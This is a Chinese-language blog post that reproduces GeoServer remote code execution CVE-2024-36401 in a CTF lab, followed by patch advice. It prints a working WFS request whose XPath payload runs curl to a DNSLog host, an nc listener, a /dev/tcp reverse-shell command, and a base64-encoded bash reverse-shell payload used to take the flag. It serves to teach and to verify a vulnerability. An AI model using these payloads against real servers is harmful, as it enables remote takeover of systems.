GeoServer远程代码执行漏洞复现(CVE-2024-36401)

写在前面

文章仅供参考,本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责!

一、漏洞详情

1、漏洞原理

GeoServer 是一个开源服务器,允许用户共享和编辑地理空间数据,依赖 GeoTools 库来处理地理空间数据。

GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。

2、影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

二、靶场环境

极核::CTF https://hackhub.get-shell.com/

靶场使用说明见平台文章。

三、漏洞验证

使用 DNSLog 平台获取子域名 http://www.dnslog.cn/

点击Get SubDomain,这里获取到的子域名为:g7a3ib.dnslog.cn,换成自己的。

利用该子域名构造payload:

exec(java.lang.Runtime.getRuntime(),'curl g7a3ib.dnslog.cn')

这里直接贴出POC:

POST /geoserver/wfs HTTP/1.1

Host: node.hackhub.get-shell.com:*****

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Length: 362



<wfs:GetPropertyValue service='WFS' version='2.0.0'

 xmlns:topp='http://www.openplans.org/topp'

 xmlns:fes='http://www.opengis.net/fes/2.0'

 xmlns:wfs='http://www.opengis.net/wfs/2.0'>

  <wfs:Query typeNames='sf:archsites'/>

  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl g7a3ib.dnslog.cn')

  </wfs:valueReference>

</wfs:GetPropertyValue>

如图利用BurpSuite发送数据包,此时需要注意根据环境不同,typeNames的值可能需要根据服务器中的Types改变。

任选即可。

请求包发送成功后,查看dnslog已成功回显,复现成功,证明存在该漏洞。

四、漏洞利用

由于用到的是平台的靶场,这里就讲一下怎么获取flag。

1、nc监听

在自己的公网服务器上开一个nc监听。

nc -lvnp 12345

2、反弹shell

通过/dev/tcp直接在shell脚本中发起tcp连接,反弹 shell 到目标主机端口,这里以12345端口为例ip换成自己的。

sh -i >& /dev/tcp/***.***.***.***/12345 0>&1

对命令进行 base64 编码 (命令必须经过编码,不然无法实现),得到:

写payload:

exec(java.lang.Runtime.getRuntime(),'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvKioqLioqKi4qKiouKioqLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}')

 

发送数据包后,我们可以发现服务器已经连接上了,之后就是直接去根目录寻找flag了。

 

五、应对措施

目前官方已有可更新版本,建议受影响用户升级至最新版本:

GeoServer 2.23.* >= 2.23.6

GeoServer 2.24.* >= 2.24.4

GeoServer 2.25.* >= 2.25.2

同时,官方已发布先前版本的补丁可供下载,包括已修复的 gt-app-schema、gt-complex 和 gt-xsd-core jar 文件。

补丁可从以下 GeoServer 版本的发布页面下载:

2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。

下载后使用补丁文件替换原文件即可。

可以从此处获取官方补丁下载地址:

https://github.com/geoserver/geoserver/releases

参考

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

https://github.com/geotools/geotools/pull/4797

https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 19:46:03       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 19:46:03       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 19:46:03       45 阅读
  4. Python语言-面向对象

    2024-07-09 19:46:03       55 阅读

热门阅读

  1. react之错误边界

    2024-07-09 19:46:03       22 阅读
  2. 代码随想录算法训练营:27/60

    2024-07-09 19:46:03       31 阅读
  3. Websocket

    2024-07-09 19:46:03       39 阅读
  4. 力扣56.合并区间

    2024-07-09 19:46:03       37 阅读
  5. Android多用户基础问题

    2024-07-09 19:46:03       26 阅读
  6. VitePress安装部署

    2024-07-09 19:46:03       26 阅读
  7. GPU加速视频编解码技术:原理、优势与应用

    2024-07-09 19:46:03       31 阅读
  8. Linux 搭建 sftp 服务器详解

    2024-07-09 19:46:03       25 阅读
  9. unity获取键盘按键

    2024-07-09 19:46:03       25 阅读
  10. linux的服务管理

    2024-07-09 19:46:03       28 阅读
  11. 等保测评未来发展趋势

    2024-07-09 19:46:03       25 阅读